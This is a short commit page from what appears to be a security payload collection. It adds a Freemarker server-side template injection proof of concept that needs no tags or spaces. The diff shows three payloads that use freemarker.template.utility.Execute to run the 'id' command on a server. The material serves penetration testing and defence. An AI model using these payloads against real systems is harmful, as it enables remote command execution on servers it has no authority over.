Merge pull request #75 from scarvell/master

Added Freemarker SSTI PoC that doesn't require the use of "tags"/spaces
This commit is contained in:
Swissky 2019-06-24 14:32:11 +02:00 committed by GitHub
commit 1cec6e9a35
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -150,6 +150,7 @@ The template can be `${3*3}` or the legacy `#{3*3}`
```js
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
```
## Jade / Codepen